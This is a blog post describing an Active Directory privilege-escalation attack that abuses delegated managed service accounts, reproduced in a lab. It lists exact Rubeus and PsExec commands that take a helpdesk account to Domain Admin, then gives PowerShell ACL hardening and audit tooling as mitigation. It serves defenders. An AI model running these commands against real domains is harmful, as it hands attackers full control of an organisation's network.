From Helpdesk to Domain Admin in minutes via dMSA abuse

7 min readMay 31, 2025

TL;DR How dMSAs can be abused by anyone who can create accounts to escalate directly to Domain Admin in minutes, or even seconds if scripted, and how to mitigate.

Background

None of this is new here regarding Delegated Managed Service Account (dMSA) abuse. I can’t take credit for that part at all. Yuval Gordon was one of the first to let everyone know this attack vector even existed here.

I do have a slightly different take on mitigation than what I have been seeing on Google so far, and provide an example of how to delegate Helpdesk rights to do their job without exposing the org as a whole to dMSA abuse.

I won’t re-invent the wheel here and explain dMSAs, the glaring security issue with Microsoft’s current implementation of them, or the Kerberos background theory involved. Others have already done that far better than I can.

I tried to replicate the attack in the lab last weekend, however the exact TTP for abusing dMSAs was not clear on Akamai’s blog and I ended up fumbling around in the proverbial dark. On the bright side I did spin up all the pre-reqs for this attack:

a domain with at least one Windows Server 2025 DC
a group with either GenericAll or CreateChild delegated rights on an OU
an insider or an attacker who compromises a helpdesk account and knows how to Google

Please note; the domain functional level does not have to be 2025, only a DC running Windows Server 2025 is required.

The lab domain I spun up was descriptively named 2025Lab.local. Mishka is in the Helpdesk group, which is delegated CreateChild rights on the User Accounts and Clients OUs. This is a very common setup, as Helpdesk often has delegated rights to create, delete, manage, reset passwords, etc in an OU and is given local administrator rights on all the computers in that OU via Group Policy.

The cat is out of the bag now

Logan Goins put out SharpSuccessor this week on GitHub. Critically, they also showed step by step how to create the dMSA and how to abuse it with Rubeus. This part was sadly missing in the original article announcing the issue.

I was able to follow along and Mishka went from Helpdesk to Domain Admin almost instantly. All the attack takes is SharpSuccessor and Rubeus, both of which are open source and hence could be modified by anyone to evade anti-malware.

This is what I did, step by step, command by command. It’s not much, typing it manually and copy/pasting the tickets only takes minutes.

cd .\Desktop\Rubeus_New\
.\Rubeus tgtdeleg
.\Rubeus.exe asktgs /targetuser:my_dMSA$ /service:krbtgt/2025lab.local /opsec /dmsa /nowrap /ptt /ticket:<copy/paste the ticket from above>
.\Rubeus.exe asktgs /user:my_dMSA$ /service:cifs/2025Lab-DC.2025lab.local /opsec /dmsa /nowrap /ptt /ticket:<copy/paste the ticket from above>

#Test access gained
ls \\2025Lab-DC\C$

#Abuse our new rights and make ourselves a Domain Admin
cd .\PSTools
.\PsExec.exe \\2025Lab-DC PowerShell
Add-ADGroupMember -Identity "Domain Admins" -Members "Mishka"

Note that at the time we PsExec into the lab’s DC we are the dMSA. The dMSA holds all the same rights that the Administrator, aka SID 500, account does as we told AD that the Administrator account was migrated to our dMSA.

That’s right, all we did was lie to AD … and it believed us. This is oddly reminiscent of the MS14-068 PAC forging attack from a decade ago.

Key Takeaway

Neither of those tools is even required if the attacker is clever. They can create the dMSA using PowerShell, ADUC, etc and modify it using LDAP, PowerView, or likely tools such as ADSI Edit. They can abuse it by creating a service to run as the dMSA, after all they have local admin on workstations as part of their job. Clever attackers will abuse this vector while completely ‘living off the land’ using builtin tools shortly, if they aren’t already. DO NOT rely on anti-malware alone to stop this.

You have to remove the CreateChild right and prevent them from creating a dMSA in the first place.

Mitigation

I am going to disagree with much of the advice on Google regarding this. Many give monitoring tips, what to look for in logs, etc. I say that’s almost useless, as by the time you see this in your logs the attacker is already running ransomware domain wide.

Prevention is required on this issue.

Do not delegate GenericAll, WriteOwner, WriteDACL, or CreateChild with all 0s in the GUID on any OUs or containers in AD to anyone! If you do, they are effectively a Domain Admin. Limit only Domain Admins to creating and modifying dMSAs. This prevents the attack TTP completely. No dMSA, no potential for abuse.

But helpdesk needs to be able to work

Delegate Helpdesk groups the following rights on the OUs they manage users and computers in:

CreateChild with the specific GUIDs for users (bf967aba-0de6–11d0-a285–00aa003049e2) and computers (bf967a86–0de6–11d0-a285–00aa003049e2)
DeleteChild with the specific GUIDs for users and computers
GenericAll with Inheritance set to Descendents

The specific InheritanceType is crucial. Many orgs likely have that third bullet point set to ‘All’, which means their Helpdesk also has GenericAll on the OU itself. This in turn allows the Helpdesk to create any type of AD object in that OU, which then leads to the dMSA abuse attack vector.

Bear in mind that Helpdesk will be the Owner of any user or computer accounts they create, hence they can change their own rights to whatever they want on those AD objects. This is why the dMSA abuse attack works after all, Helpdesk creates the dMSA, then modifies the attribute ‘msDS-ManagedAccountPrecededbyLink’ to whoever they want to impersonate.

The only way to stop them from doing this is to prevent them from creating a dMSA in the first place.

An example of exactly how to do this is here, using an OU named Demo:

Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName

#Give a group CreateChild safely in a given OU
$victim = (Get-ADOrganizationalUnit "ou=Demo,$ADRoot" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity "Helpdesk").SID

#Allow CreateChild
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"CreateChild","ALLOW",([GUID]("bf967aba-0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"CreateChild","ALLOW",([GUID]("bf967a86–0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))

#Allow DeleteChild
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"DeleteChild","ALLOW",([GUID]("bf967aba-0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"DeleteChild","ALLOW",([GUID]("bf967a86–0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))

#Allow GenericAll so Helpdesk can modify/update accounts
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"GenericAll","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"Descendents",([GUID]("00000000–0000–0000–0000–000000000000")).guid))

#Apply above ACL rules
Set-ACL $victim $acl

#Confirm
(Get-Acl "ou=demo,$ADRoot").Access | Where-Object {$_.IdentityReference -like "*helpdesk*"}

This is what a member of Helpdesk sees if they attempt to create a dMSA in the Demo OU.

Why this is such a big issue

I have worked with some in the past who believe that all we need is

Vulnerability scanners like Nessus
Patch management
Polices/DLP to stop users from plugging in their phones, random thumb drives, etc
EDR

And that’s it. They think that attacks like dMSA abuse are only done by APTs and not something to worry about.

I disagree, and so do the security researchers who uncovered this issue with Windows Server 2025 DCs. Anyone who can Google can run this attack in minutes.

The other reason why this is such a big issue is that up until now CreateChild wasn’t really a ‘Dangerous Right’, i.e. it didn’t lead to privilege escalation. Hence most tools weren’t checking for it and no one was worrying about it.

Summary

I am going to tweak Mishky’s Blue Team tool so that it checks specifically for who holds GenericAll, WriteOwner, WriteDACL, or CreateChild with all 0s on all OUs and containers domain wide and is NOT listed on a given whitelist. This should help system administrators clean up Misconfiguration Debt on old domains. I’ll update this writeup once that’s finished.

I will give Sanjay Tandon credit where credit is due; they were talking about the potential abuse of CreateChild rights for years, long before dMSAs existed. Other tools such as Ping Castle now check for this.

I’ll stop beating a dead horse now. I have a lot of work to do, updating Mishky’s Red Team and Blue Team tools so they check for this on OUs, updating our ‘Dangerous Rights’ cheatsheet, etc. I’ll post an update once that’s done.

I whipped up a PoC here:

Get-BadOwner checks all OUs for nonwhitelisted owners.
Audit-AllOUs checks all OUs, containers, and the domain root for nonwhitelisted users/groups who hold rights that’d allow dMSA abuse.
Get-AclAudit -File <whitelist.csv> checks for ‘Dangerous Rights’ on all AD objects held by non-whitelisted users/groups (the whitelist lists groups delegated control of OUs)

References

dMSA overview: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview

dMSA abuse: https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#:~:text=And%20the%20best%20part%3A%20The,DC)%2C%20it%20becomes%20available

Understanding & mitigating BadSuccessor: https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/

Using Rubeus: https://docs.specterops.io/ghostpack/rubeus/ticket-extraction-and-harvesting

Get the newest Rubeus here: https://github.com/GhostPack/Rubeus

Good list of GUIDs matched to ObjectType: https://github.com/canix1/SDDL-Converter/blob/master/SDDL-Converter.ps1

Dangerous Rights & Delegation cheatsheet: https://medium.com/@happycamper84/dangerous-rights-cheatsheet-33e002660c1d

KDS root key required for MSAs: https://stackoverflow.com/questions/34263477/error-on-creating-managed-service-account-with-powershell

dMSAs & Rubeus: https://github.com/GhostPack/Rubeus/pull/194

GPO for enabling dMSA logins: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview

MS14–068: https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/ms14-068